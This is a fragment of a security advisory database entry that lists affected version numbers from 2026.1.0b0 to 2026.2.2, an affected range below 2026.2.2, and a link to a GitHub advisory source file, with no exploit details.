2026.*
2026.1.0b0
2026.1.0b1
2026.1.0b2
2026.1.0b3
2026.1.0b4
2026.1.0b5
2026.1.0
2026.1.1
2026.1.2
2026.1.3
2026.2.0b0
2026.2.0b1
2026.2.0b2
2026.2.0b3
2026.2.0b4
2026.2.0b5
2026.2.0
2026.2.1
2026.2.2

Database specific

last_known_affected_version_range 
"< 2026.2.2"
source 
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-4ghv-53cq-7wp3/GHSA-4ghv-53cq-7wp3.json"